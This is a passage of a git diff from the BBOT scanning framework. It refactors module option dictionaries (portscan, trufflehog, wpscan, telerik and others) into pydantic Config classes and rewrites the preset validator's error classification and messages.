- options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", - "recycle_words": "Attempt to use words found during the scan on all other endpoints", - "skip_boring_words": "Remove commonly uninteresting words from the wordlist", - } + class Config(BaseModuleConfig): + wordlist: str = Field('', description='Define the wordlist to be used to derive headers') + recycle_words: bool = Field(False, description='Attempt to use words found during the scan on all other endpoints') + skip_boring_words: bool = Field(True, description='Remove commonly uninteresting words from the wordlist') scanned_hosts = [] boring_words = { "accept", diff --git a/bbot/modules/passivetotal.py b/bbot/modules/passivetotal.py index 1010980945..d5d5f26611 100644 --- a/bbot/modules/passivetotal.py +++ b/bbot/modules/passivetotal.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class passivetotal(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class passivetotal(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "PassiveTotal API Key in the format of 'username:api_key'"} + class Config(BaseModuleConfig): + api_key: str = Field('', description="PassiveTotal API Key in the format of 'username:api_key'") base_url = "https://api.passivetotal.org/v2" diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index b12372dd1e..8e53c4e48c 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class pgp(subdomain_enum): @@ -10,15 +12,8 @@ class pgp(subdomain_enum): "created_date": "2022-08-10", "author": "@TheTechromancer", } - options = { - "search_urls": [ - "https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=", - "http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=", - "https://pgpkeys.eu/pks/lookup?search=&op=index", - "https://pgp.mit.edu/pks/lookup?search=&op=index", - ] - } - options_desc = {"search_urls": "PGP key servers to search"} + class Config(BaseModuleConfig): + search_urls: list[str] = Field(['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'], description='PGP key servers to search') async def handle_event(self, event): query = self.make_query(event) diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 21b0313194..9d006b2af5 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -1,4 +1,6 @@ from bbot.modules.base import BaseInterceptModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class portfilter(BaseInterceptModule): @@ -9,14 +11,9 @@ class portfilter(BaseInterceptModule): "created_date": "2025-01-06", "author": "@TheTechromancer", } - options = { - "cdn_tags": "cdn,waf", - "allowed_cdn_ports": "80,443", - } - options_desc = { - "cdn_tags": "Comma-separated list of tags to skip, e.g. 'cdn,waf'", - "allowed_cdn_ports": "Comma-separated list of ports that are allowed to be scanned for CDNs", - } + class Config(BaseModuleConfig): + cdn_tags: str = Field('cdn,waf', description="Comma-separated list of tags to skip, e.g. 'cdn,waf'") + allowed_cdn_ports: str = Field('80,443', description='Comma-separated list of ports that are allowed to be scanned for CDNs') _priority = 4 # we consume URLs but we don't want to automatically enable httpx diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index c4897d507b..1d991e403f 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -4,6 +4,8 @@ from radixtarget import RadixTarget, host_size_key from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig # TODO: this module is getting big. It should probably be two modules: one for ping and one for SYN. @@ -18,33 +20,18 @@ class portscan(BaseModule): "created_date": "2024-05-15", "author": "@TheTechromancer", } - options = { - "top_ports": 100, - "ports": "", - # ping scan at 600 packets/s ~= private IP space in 8 hours - "rate": 300, - "wait": 5, - "ping_first": False, - "ping_only": False, - "adapter": "", - "adapter_ip": "", - "adapter_mac": "", - "router_mac": "", - "module_timeout": 259200, # 3 days - } - options_desc = { - "top_ports": "Top ports to scan (default 100) (to override, specify 'ports')", - "ports": "Ports to scan", - "rate": "Rate in packets per second", - "wait": "Seconds to wait for replies after scan is complete", - "ping_first": "Only portscan hosts that reply to pings", - "ping_only": "Ping sweep only, no portscan", - "adapter": 'Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.', - "adapter_ip": "Send packets using this IP address. Not needed unless masscan's autodetection fails", - "adapter_mac": "Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails", - "router_mac": "Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails", - "module_timeout": "Max time in seconds to spend handling each batch of events", - } + class Config(BaseModuleConfig): + top_ports: int = Field(100, description="Top ports to scan (default 100) (to override, specify 'ports')") + ports: str = Field('', description='Ports to scan') + rate: int = Field(300, description='Rate in packets per second') + wait: int = Field(5, description='Seconds to wait for replies after scan is complete') + ping_first: bool = Field(False, description='Only portscan hosts that reply to pings') + ping_only: bool = Field(False, description='Ping sweep only, no portscan') + adapter: str = Field('', description='Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.') + adapter_ip: str = Field('', description="Send packets using this IP address. Not needed unless masscan's autodetection fails") + adapter_mac: str = Field('', description="Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails") + router_mac: str = Field('', description="Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails") + module_timeout: int = Field(259200, description='Max time in seconds to spend handling each batch of events') deps_common = ["masscan"] batch_size = 1000000 _shuffle_incoming_queue = False diff --git a/bbot/modules/postman.py b/bbot/modules/postman.py index ee0bf25cd2..076e763c1f 100644 --- a/bbot/modules/postman.py +++ b/bbot/modules/postman.py @@ -1,4 +1,6 @@ from bbot.modules.templates.postman import postman +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class postman(postman): @@ -10,8 +12,8 @@ class postman(postman): "created_date": "2024-09-07", "author": "@domwhewell-sage", } - options = {"api_key": ""} - options_desc = {"api_key": "Postman API Key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Postman API Key') reject_wildcards = False async def handle_event(self, event): diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 77644435ad..34fdf8c6bd 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -2,6 +2,8 @@ import json from pathlib import Path from bbot.modules.templates.postman import postman +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class postman_download(postman): @@ -13,11 +15,9 @@ class postman_download(postman): "created_date": "2024-09-07", "author": "@domwhewell-sage", } - options = {"output_folder": "", "api_key": ""} - options_desc = { - "output_folder": "Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.", - "api_key": "Postman API Key", - } + class Config(BaseModuleConfig): + output_folder: str = Field('', description='Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage.') + api_key: str = Field('', description='Postman API Key') scope_distance_modifier = 2 async def setup(self): diff --git a/bbot/modules/retirejs.py b/bbot/modules/retirejs.py index 78fc72dfed..d07dbeb7b0 100644 --- a/bbot/modules/retirejs.py +++ b/bbot/modules/retirejs.py @@ -1,6 +1,8 @@ import json from enum import IntEnum from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class RetireJSSeverity(IntEnum): @@ -27,16 +29,10 @@ class retirejs(BaseModule): "created_date": "2025-08-19", "author": "@liquidsec", } - options = { - "version": "5.3.0", - "node_version": "18.19.1", - "severity": "medium", - } - options_desc = { - "version": "retire.js version", - "node_version": "Node.js version to install locally", - "severity": "Minimum severity level to report (none, low, medium, high, critical)", - } + class Config(BaseModuleConfig): + version: str = Field('5.3.0', description='retire.js version') + node_version: str = Field('18.19.1', description='Node.js version to install locally') + severity: str = Field('medium', description='Minimum severity level to report (none, low, medium, high, critical)') deps_ansible = [ # Download Node.js binary (Linux x64) diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py index 1240f11959..df83d6cbb8 100644 --- a/bbot/modules/robots.py +++ b/bbot/modules/robots.py @@ -1,4 +1,6 @@ from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class robots(BaseModule): @@ -7,12 +9,10 @@ class robots(BaseModule): flags = ["safe", "active", "web"] meta = {"description": "Look for and parse robots.txt", "created_date": "2023-02-01", "author": "@liquidsec"} - options = {"include_sitemap": False, "include_allow": True, "include_disallow": True} - options_desc = { - "include_sitemap": "Include 'sitemap' entries", - "include_allow": "Include 'Allow' Entries", - "include_disallow": "Include 'Disallow' Entries", - } + class Config(BaseModuleConfig): + include_sitemap: bool = Field(False, description="Include 'sitemap' entries") + include_allow: bool = Field(True, description="Include 'Allow' Entries") + include_disallow: bool = Field(True, description="Include 'Disallow' Entries") in_scope_only = True per_hostport_only = True diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index 7ab333ee76..c686f4c120 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class securitytrails(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class securitytrails(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "SecurityTrails API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='SecurityTrails API key') base_url = "https://api.securitytrails.com/v1" ping_url = f"{base_url}/ping?apikey={{api_key}}" diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py index d8d3d4aea2..fb84e5d1b2 100644 --- a/bbot/modules/securitytxt.py +++ b/bbot/modules/securitytxt.py @@ -50,6 +50,8 @@ import re from bbot.core.helpers.regexes import email_regex, url_regexes +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig _securitytxt_regex = r"^(?P\w+): *(?P.*)$" securitytxt_regex = re.compile(_securitytxt_regex, re.I | re.M) @@ -64,14 +66,9 @@ class securitytxt(BaseModule): "author": "@colin-stubbs", "created_date": "2024-05-26", } - options = { - "emails": True, - "urls": True, - } - options_desc = { - "emails": "emit EMAIL_ADDRESS events", - "urls": "emit URL_UNVERIFIED events", - } + class Config(BaseModuleConfig): + emails: bool = Field(True, description='emit EMAIL_ADDRESS events') + urls: bool = Field(True, description='emit URL_UNVERIFIED events') async def setup(self): self._emails = self.config.get("emails", True) diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index 4e68ed11d4..f3654fabf1 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -1,4 +1,6 @@ from bbot.modules.templates.shodan import shodan +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class shodan_dns(shodan): @@ -11,8 +13,8 @@ class shodan_dns(shodan): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "Shodan API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='Shodan API key') base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 273fe837da..3cd732e0a4 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -1,4 +1,6 @@ from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class shodan_enterprise(BaseModule): @@ -11,11 +13,9 @@ class shodan_enterprise(BaseModule): "description": "Shodan Enterprise API integration module.", "auth_required": True, } - options = {"api_key": "", "in_scope_only": True} - options_desc = { - "api_key": "Shodan API Key", - "in_scope_only": "Only query in-scope IPs. If False, will query up to distance 1.", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='Shodan API Key') + in_scope_only: bool = Field(True, description='Only query in-scope IPs. If False, will query up to distance 1.') in_scope_only = True base_url = "https://api.shodan.io" diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 59ad329d35..31d8fbda36 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -1,5 +1,8 @@ from bbot.modules.base import BaseModule import time +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig +from typing import Optional class shodan_idb(BaseModule): @@ -47,10 +50,8 @@ class shodan_idb(BaseModule): "created_date": "2023-12-22", "author": "@TheTechromancer", } - options = {"retries": None} - options_desc = { - "retries": "How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting." - } + class Config(BaseModuleConfig): + retries: Optional[str] = Field(None, description='How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.') # we typically don't want to abort this module _api_failure_abort_threshold = 9999999999 diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index ff6f6cf402..ffc0890f2e 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -6,6 +6,8 @@ from bbot.modules.base import BaseModule from bbot.core.helpers.async_helpers import NamedLock from bbot.core.helpers.web.ssl_context import ssl_context_noverify +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class sslcert(BaseModule): @@ -17,8 +19,9 @@ class sslcert(BaseModule): "created_date": "2022-03-30", "author": "@TheTechromancer", } - options = {"timeout": 5.0, "skip_non_ssl": True} - options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"} + class Config(BaseModuleConfig): + timeout: float = Field(5.0, description='Socket connect timeout in seconds') + skip_non_ssl: bool = Field(True, description="Don't try common non-SSL ports") deps_apt = ["openssl"] deps_pip = ["pyOpenSSL~=25.3.0"] _module_threads = 25 diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index eaca2374c5..5d98a7a7fd 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -2,6 +2,8 @@ import asyncio from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class SubdomainRadar(subdomain_enum_apikey): @@ -14,12 +16,10 @@ class SubdomainRadar(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": "", "group": "fast", "timeout": 120} - options_desc = { - "api_key": "SubDomainRadar.io API key", - "group": "The enumeration group to use. Choose from fast, medium, deep", - "timeout": "Timeout in seconds", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='SubDomainRadar.io API key') + group: str = Field('fast', description='The enumeration group to use. Choose from fast, medium, deep') + timeout: int = Field(120, description='Timeout in seconds') base_url = "https://api.subdomainradar.io" ping_url = f"{base_url}/profile" diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 493117fc7d..70c168bea2 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -1,6 +1,8 @@ from sys import executable from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class telerik(BaseModule): @@ -153,11 +155,9 @@ class telerik(BaseModule): RAUConfirmed = [] - options = {"exploit_RAU_crypto": False, "include_subdirs": False} - options_desc = { - "exploit_RAU_crypto": "Attempt to confirm any RAU AXD detections are vulnerable", - "include_subdirs": "Include subdirectories in the scan (off by default)", # will create many finding events if used in conjunction with web spider or ffuf - } + class Config(BaseModuleConfig): + exploit_RAU_crypto: bool = Field(False, description='Attempt to confirm any RAU AXD detections are vulnerable') + include_subdirs: bool = Field(False, description='Include subdirectories in the scan (off by default)') in_scope_only = True diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index dec96d94fa..a8400b48d7 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -2,6 +2,8 @@ from urllib.parse import urlparse from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class trajan(BaseModule): @@ -15,26 +17,15 @@ class trajan(BaseModule): } # Configuration options - options = { - "version": "1.0.0", - "github_token": "", - "gitlab_token": "", - "ado_token": "", - "jfrog_token": "", - "jenkins_username": "", - "jenkins_password": "", - "jenkins_token": "", - } - options_desc = { - "version": "Trajan version to download and use", - "github_token": "GitHub API token for rate-limiting and private repo access", - "gitlab_token": "GitLab API token for private repo access", - "ado_token": "Azure DevOps Personal Access Token (PAT)", - "jfrog_token": "JFrog API token", - "jenkins_username": "Jenkins username for basic auth", - "jenkins_password": "Jenkins password for basic auth", - "jenkins_token": "Jenkins API token", - } + class Config(BaseModuleConfig): + version: str = Field('1.0.0', description='Trajan version to download and use') + github_token: str = Field('', description='GitHub API token for rate-limiting and private repo access') + gitlab_token: str = Field('', description='GitLab API token for private repo access') + ado_token: str = Field('', description='Azure DevOps Personal Access Token (PAT)') + jfrog_token: str = Field('', description='JFrog API token') + jenkins_username: str = Field('', description='Jenkins username for basic auth') + jenkins_password: str = Field('', description='Jenkins password for basic auth') + jenkins_token: str = Field('', description='Jenkins API token') deps_ansible = [ { diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index 7cbbfda3c4..c008a89bd5 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Trickest(subdomain_enum_apikey): @@ -11,12 +13,8 @@ class Trickest(subdomain_enum_apikey): "created_date": "2024-07-27", "auth_required": True, } - options = { - "api_key": "", - } - options_desc = { - "api_key": "Trickest API key", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='Trickest API key') base_url = "https://api.trickest.io/solutions/v1/public/solution/a7cba1f1-df07-4a5c-876a-953f178996be" ping_url = f"{base_url}/dataset" diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 21a233262a..95cfd6d016 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -1,6 +1,8 @@ import json from functools import partial from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class trufflehog(BaseModule): @@ -13,20 +15,12 @@ class trufflehog(BaseModule): "author": "@domwhewell-sage", } - options = { - "version": "3.90.8", - "config": "", - "only_verified": True, - "concurrency": 8, - "deleted_forks": False, - } - options_desc = { - "version": "trufflehog version", - "config": "File path or URL to YAML trufflehog config", - "only_verified": "Only report credentials that have been verified", - "concurrency": "Number of concurrent workers", - "deleted_forks": "Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.", - } + class Config(BaseModuleConfig): + version: str = Field('3.90.8', description='trufflehog version') + config: str = Field('', description='File path or URL to YAML trufflehog config') + only_verified: bool = Field(True, description='Only report credentials that have been verified') + concurrency: int = Field(8, description='Number of concurrent workers') + deleted_forks: bool = Field(False, description='Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours.') deps_ansible = [ { "name": "Download trufflehog", diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index d9b7db466c..cca6effc88 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -1,5 +1,7 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class url_manipulation(BaseModule): @@ -13,10 +15,8 @@ class url_manipulation(BaseModule): } in_scope_only = True - options = {"allow_redirects": True} - options_desc = { - "allow_redirects": "Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default." - } + class Config(BaseModuleConfig): + allow_redirects: bool = Field(True, description='Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.') async def setup(self): # ([string]method,[string]path,[bool]strip trailing slash) diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index 9a09222fe2..c433e9a0d1 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class urlscan(subdomain_enum): @@ -10,8 +12,8 @@ class urlscan(subdomain_enum): "created_date": "2022-06-09", "author": "@TheTechromancer", } - options = {"urls": False} - options_desc = {"urls": "Emit URLs in addition to DNS_NAMEs"} + class Config(BaseModuleConfig): + urls: bool = Field(False, description='Emit URLs in addition to DNS_NAMEs') base_url = "https://urlscan.io/api/v1" diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index 75766b38d8..ec7e1e3ebd 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class virustotal(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class virustotal(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "VirusTotal API Key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='VirusTotal API Key') base_url = "https://www.virustotal.com/api/v3" api_page_iter_kwargs = {"json": False, "next_key": lambda r: r.json().get("links", {}).get("next", "")} diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index 6063a3be33..58d2085c62 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -3,6 +3,8 @@ # disable wafw00f logging import logging +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig wafw00f_logger = logging.getLogger("wafw00f") wafw00f_logger.setLevel(logging.CRITICAL + 100) @@ -24,8 +26,8 @@ class wafw00f(BaseModule): deps_pip = ["wafw00f~=2.3.1"] - options = {"generic_detect": True} - options_desc = {"generic_detect": "When no specific WAF detections are made, try to perform a generic detect"} + class Config(BaseModuleConfig): + generic_detect: bool = Field(True, description='When no specific WAF detections are made, try to perform a generic detect') in_scope_only = True per_hostport_only = True diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 49010f451a..c07b3ff827 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -1,6 +1,8 @@ from datetime import datetime from bbot.modules.templates.subdomain_enum import subdomain_enum +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class wayback(subdomain_enum): @@ -12,11 +14,9 @@ class wayback(subdomain_enum): "created_date": "2022-04-01", "author": "@liquidsec", } - options = {"urls": False, "garbage_threshold": 10} - options_desc = { - "urls": "emit URLs in addition to DNS_NAMEs", - "garbage_threshold": "Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)", - } + class Config(BaseModuleConfig): + urls: bool = Field(False, description='emit URLs in addition to DNS_NAMEs') + garbage_threshold: int = Field(10, description='Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data)') in_scope_only = True base_url = "http://web.archive.org" diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index b7a703b90d..4fc1c0ddc1 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -1,5 +1,7 @@ import json from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class wpscan(BaseModule): @@ -12,24 +14,14 @@ class wpscan(BaseModule): "author": "@domwhewell-sage", } - options = { - "api_key": "", - "enumerate": "vp,vt,cb,dbe", - "threads": 5, - "request_timeout": 5, - "connection_timeout": 2, - "disable_tls_checks": True, - "force": False, - } - options_desc = { - "api_key": "WPScan API Key", - "enumerate": "Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)", - "threads": "How many wpscan threads to spawn (default is 5)", - "request_timeout": "The request timeout in seconds (default 5)", - "connection_timeout": "The connection timeout in seconds (default 2)", - "disable_tls_checks": "Disables the SSL/TLS certificate verification (Default True)", - "force": "Do not check if the target is running WordPress or returns a 403", - } + class Config(BaseModuleConfig): + api_key: str = Field('', description='WPScan API Key') + enumerate: str = Field('vp,vt,cb,dbe', description='Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)') + threads: int = Field(5, description='How many wpscan threads to spawn (default is 5)') + request_timeout: int = Field(5, description='The request timeout in seconds (default 5)') + connection_timeout: int = Field(2, description='The connection timeout in seconds (default 2)') + disable_tls_checks: bool = Field(True, description='Disables the SSL/TLS certificate verification (Default True)') + force: bool = Field(False, description='Do not check if the target is running WordPress or returns a 403') deps_apt = ["curl", "make", "gcc"] deps_ansible = [ { diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index f1162ae795..a50e3a0523 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -2,29 +2,30 @@ Public `validate_preset()` API for BBOT presets. Given a preset-as-dict (i.e. what comes out of a YAML file before it's -instantiated), return a list of human-readable errors in three layers: +instantiated), return a list of human-readable errors. -1. Top-level preset keys (e.g. `modlues:` typo) -2. Global config (e.g. `scope.strct`, `web.sslverify`) -3. Per-module config (e.g. `modules.nuclei.tgas`) +The validator does a single pass against a composite pydantic schema +(built once per module-loader state by `ModuleLoader.validation_schema`) +that covers every layer in one tree: -Errors are aggregated — a user with multiple typos gets all the errors at once -rather than having to fix one at a time. The caller decides whether to raise -or just print them. +- top-level preset keys (e.g. `modlues:` typo) +- global config (e.g. `scope.strct`, `web.http_timoeut`) +- unknown module names (e.g. `modules.nucleii`) +- per-module config (e.g. `modules.nuclei.tgas`) + +Errors are aggregated so a user with multiple typos sees them all. The +caller decides whether to raise or just print them. """ from __future__ import annotations -import importlib import logging from dataclasses import dataclass from pathlib import Path -from typing import Iterable, Optional +from typing import Any from pydantic import ValidationError -from bbot.core.config.models import BBOTConfig, BaseModuleConfig, PresetSchema - log = logging.getLogger("bbot.presets.validate") @@ -35,189 +36,138 @@ class PresetValidationError: where: str # "preset", "config", "module:" path: str # dotted location, e.g. "scope.strict" or "" - message: str # pydantic-derived message, reformatted + message: str def __str__(self) -> str: loc = f"{self.where}:{self.path}" if self.path else self.where return f"[{loc}] {self.message}" -def _format_pydantic_errors(exc: ValidationError, where: str) -> list[PresetValidationError]: +def _classify_loc(loc: tuple) -> tuple[str, str]: + """ + Map a pydantic error path to a (where, path) pair. + + Examples: + ('modlues',) -> ('preset', 'modlues') + ('config', 'scope', 'strct') -> ('config', 'scope.strct') + ('config', 'modules', 'nucleii') -> ('preset', 'config.modules.nucleii') + ('config', 'modules', 'nuclei', 'tgas') -> ('module:nuclei', 'tgas') + """ + parts = [str(p) for p in loc] + + if len(parts) >= 2 and parts[0] == "config" and parts[1] == "modules": + # Error is somewhere under config.modules.* + if len(parts) == 3: + # The module name itself is unknown (extra_forbidden on ModulesSchema) + return ("preset", ".".join(parts)) + # Error is within a known module's config + module_name = parts[2] + return (f"module:{module_name}", ".".join(parts[3:])) + + if parts and parts[0] == "config": + return ("config", ".".join(parts[1:])) + + return ("preset", ".".join(parts)) + + +def _format_msg(err: dict) -> str: + kind = err["type"] + input_value = err.get("input") + loc = err["loc"] + field = str(loc[-1]) if loc else "" + path = ".".join(str(p) for p in loc) + + if kind == "extra_forbidden": + # Special-case the unknown-module-name error so users get + # "Unknown module: 'nucleii'" instead of "Unknown option: 'nucleii'". + if len(loc) == 3 and loc[0] == "config" and loc[1] == "modules": + return f'Unknown module: "{field}"' + msg = f"Unknown option: {field!r}" + if isinstance(input_value, (str, int, bool, float)): + msg += f" (value: {input_value!r})" + elif isinstance(input_value, list) and len(input_value) <= 5: + msg += f" (value: {input_value!r})" + return msg + + if kind in {"int_parsing", "int_type"}: + return f"Expected an integer, got {type(input_value).__name__}: {input_value!r}" + if kind in {"bool_parsing", "bool_type"}: + return f"Expected a boolean, got {type(input_value).__name__}: {input_value!r}" + if kind == "string_type": + return f"Expected a string, got {type(input_value).__name__}: {input_value!r}" + if kind == "list_type": + return f"Expected a list, got {type(input_value).__name__}" + if kind == "dict_type": + return f"Expected a mapping, got {type(input_value).__name__}" + if kind == "literal_error": + # pydantic stashes the allowed values in ctx["expected"] formatted like: + # "'manual', 'technology', 'severe' or 'budget'" + ctx = err.get("ctx") or {} + expected = ctx.get("expected", "") + return f"Expected one of {expected}, got {input_value!r}" if expected else err.get("msg", "") + if kind == "missing": + return f"Required option {field!r} is missing" + + # Fallback to pydantic's own message + return err["msg"] if err.get("msg") else f"validation error at {path}" + + +def _format_errors(exc: ValidationError) -> list[PresetValidationError]: out: list[PresetValidationError] = [] for err in exc.errors(): - path = ".".join(str(p) for p in err["loc"]) - kind = err["type"] - input_value = err.get("input") - if kind == "extra_forbidden": - msg = f"Unknown option: {path!r}" - if input_value is not None and isinstance(input_value, (str, int, bool, float)): - msg += f" (value: {input_value!r})" - elif kind in {"int_parsing", "int_type"}: - msg = f"Expected an integer, got {type(input_value).__name__}: {input_value!r}" - elif kind in {"bool_parsing", "bool_type"}: - msg = f"Expected a boolean, got {type(input_value).__name__}: {input_value!r}" - elif kind in {"string_type"}: - msg = f"Expected a string, got {type(input_value).__name__}: {input_value!r}" - elif kind == "list_type": - msg = f"Expected a list, got {type(input_value).__name__}" - elif kind == "missing": - msg = "Required option is missing" - else: - msg = err["msg"] - out.append(PresetValidationError(where=where, path=path, message=msg)) + where, path = _classify_loc(err["loc"]) + out.append(PresetValidationError(where=where, path=path, message=_format_msg(err))) return out -def _get_module_config_class(module_name: str, module_loader) -> Optional[type[BaseModuleConfig]]: +def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidationError]: """ - Return the module's `Config` class, or None if the module doesn't declare one - (legacy `options`/`options_desc` dict modules). - """ - preloaded = module_loader.preloaded().get(module_name) - if not preloaded: - return None - module_path = Path(preloaded["path"]) - namespace = preloaded["namespace"] - full_namespace = 